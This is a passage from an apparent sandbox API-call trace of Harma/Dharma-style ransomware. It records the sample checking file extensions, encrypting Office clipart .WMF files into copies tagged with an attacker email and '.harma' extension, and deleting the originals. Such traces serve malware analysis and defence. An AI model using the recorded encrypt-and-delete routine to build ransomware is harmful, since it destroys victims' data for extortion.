returned 1 [0151.722] lstrlenW (lpString=".rar") returned 4 [0151.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.722] lstrlenW (lpString=".bz2") returned 4 [0151.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.722] lstrlenW (lpString=".7z") returned 3 [0151.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.722] lstrlenW (lpString=".dbf") returned 4 [0151.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.722] lstrlenW (lpString=".1cd") returned 4 [0151.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0151.722] lstrlenW (lpString=".jpg") returned 4 [0151.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.722] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.722] lstrlenW (lpString="DD01586_.WMF") returned 12 [0151.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.724] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2324) returned 1 [0151.724] CloseHandle (hObject=0x330) returned 1 [0151.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0151.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.725] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.725] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.726] GetLastError () returned 0x0 [0151.726] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x914, lpOverlapped=0x0) returned 1 [0151.727] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x920, lpOverlapped=0x0) returned 1 [0151.728] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0151.729] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.729] SetEndOfFile (hFile=0x350) returned 1 [0151.729] CloseHandle (hObject=0x350) returned 1 [0151.729] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.729] SetEndOfFile (hFile=0x330) returned 1 [0151.731] CloseHandle (hObject=0x330) returned 1 [0151.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0151.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.732] lstrlenW (lpString=".doc") returned 4 [0151.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.732] lstrlenW (lpString=".docx") returned 5 [0151.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.732] lstrlenW (lpString=".pdf") returned 4 [0151.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.732] lstrlenW (lpString=".xls") returned 4 [0151.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.732] lstrlenW (lpString=".xlsx") returned 5 [0151.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.732] lstrlenW (lpString=".ppt") returned 4 [0151.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString=".zip") returned 4 [0151.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.733] lstrlenW (lpString=".rar") returned 4 [0151.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString=".bz2") returned 4 [0151.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString=".7z") returned 3 [0151.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString=".dbf") returned 4 [0151.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString=".1cd") returned 4 [0151.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString=".jpg") returned 4 [0151.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.733] lstrlenW (lpString=".doc") returned 4 [0151.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString=".docx") returned 5 [0151.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.733] lstrlenW (lpString=".pdf") returned 4 [0151.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.733] lstrlenW (lpString=".xls") returned 4 [0151.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.734] lstrlenW (lpString=".xlsx") returned 5 [0151.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.734] lstrlenW (lpString=".ppt") returned 4 [0151.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.734] lstrlenW (lpString=".zip") returned 4 [0151.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.734] lstrlenW (lpString=".rar") returned 4 [0151.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.734] lstrlenW (lpString=".bz2") returned 4 [0151.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.734] lstrlenW (lpString=".7z") returned 3 [0151.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.734] lstrlenW (lpString=".dbf") returned 4 [0151.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.734] lstrlenW (lpString=".1cd") returned 4 [0151.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0151.734] lstrlenW (lpString=".jpg") returned 4 [0151.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.734] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.734] lstrlenW (lpString="DD01628_.WMF") returned 12 [0151.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.735] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=19068) returned 1 [0151.735] CloseHandle (hObject=0x330) returned 1 [0151.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0151.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0151.735] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.736] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0151.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0151.736] GetLastError () returned 0x0 [0151.736] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0152.093] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0152.095] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.095] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.095] SetEndOfFile (hFile=0x350) returned 1 [0152.095] CloseHandle (hObject=0x350) returned 1 [0152.095] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.095] SetEndOfFile (hFile=0x330) returned 1 [0152.099] CloseHandle (hObject=0x330) returned 1 [0152.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0152.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.100] lstrlenW (lpString=".doc") returned 4 [0152.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.100] lstrlenW (lpString=".docx") returned 5 [0152.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.100] lstrlenW (lpString=".pdf") returned 4 [0152.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString=".xls") returned 4 [0152.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.101] lstrlenW (lpString=".xlsx") returned 5 [0152.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.101] lstrlenW (lpString=".ppt") returned 4 [0152.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.101] lstrlenW (lpString=".zip") returned 4 [0152.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.101] lstrlenW (lpString=".rar") returned 4 [0152.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString=".bz2") returned 4 [0152.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString=".7z") returned 3 [0152.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.101] lstrlenW (lpString=".dbf") returned 4 [0152.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.101] lstrlenW (lpString=".1cd") returned 4 [0152.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.101] lstrlenW (lpString=".jpg") returned 4 [0152.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.102] lstrlenW (lpString=".doc") returned 4 [0152.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString=".docx") returned 5 [0152.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.102] lstrlenW (lpString=".pdf") returned 4 [0152.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString=".xls") returned 4 [0152.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.102] lstrlenW (lpString=".xlsx") returned 5 [0152.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.102] lstrlenW (lpString=".ppt") returned 4 [0152.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.102] lstrlenW (lpString=".zip") returned 4 [0152.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.102] lstrlenW (lpString=".rar") returned 4 [0152.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString=".bz2") returned 4 [0152.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.102] lstrlenW (lpString=".7z") returned 3 [0152.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.102] lstrlenW (lpString=".dbf") returned 4 [0152.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.103] lstrlenW (lpString=".1cd") returned 4 [0152.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0152.103] lstrlenW (lpString=".jpg") returned 4 [0152.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.103] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.103] lstrlenW (lpString="ED00184_.WMF") returned 12 [0152.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.104] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=6958) returned 1 [0152.104] CloseHandle (hObject=0x330) returned 1 [0152.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0152.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0152.105] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.105] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0152.106] GetLastError () returned 0x0 [0152.106] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0152.111] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0152.112] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0152.112] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.112] SetEndOfFile (hFile=0x350) returned 1 [0152.113] CloseHandle (hObject=0x350) returned 1 [0152.113] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0152.113] SetEndOfFile (hFile=0x330) returned 1 [0152.116] CloseHandle (hObject=0x330) returned 1 [0152.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0152.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.118] lstrlenW (lpString=".doc") returned 4 [0152.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.118] lstrlenW (lpString=".docx") returned 5 [0152.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.118] lstrlenW (lpString=".pdf") returned 4 [0152.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.118] lstrlenW (lpString=".xls") returned 4 [0152.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.118] lstrlenW (lpString=".xlsx") returned 5 [0152.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.118] lstrlenW (lpString=".ppt") returned 4 [0152.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString=".zip") returned 4 [0152.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.119] lstrlenW (lpString=".rar") returned 4 [0152.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString=".bz2") returned 4 [0152.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString=".7z") returned 3 [0152.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString=".dbf") returned 4 [0152.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString=".1cd") returned 4 [0152.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString=".jpg") returned 4 [0152.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.119] lstrlenW (lpString=".doc") returned 4 [0152.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.119] lstrlenW (lpString=".docx") returned 5 [0152.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.120] lstrlenW (lpString=".pdf") returned 4 [0152.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString=".xls") returned 4 [0152.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.120] lstrlenW (lpString=".xlsx") returned 5 [0152.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.120] lstrlenW (lpString=".ppt") returned 4 [0152.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.120] lstrlenW (lpString=".zip") returned 4 [0152.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.120] lstrlenW (lpString=".rar") returned 4 [0152.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString=".bz2") returned 4 [0152.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString=".7z") returned 3 [0152.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.120] lstrlenW (lpString=".dbf") returned 4 [0152.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0152.120] lstrlenW (lpString=".1cd") returned 4 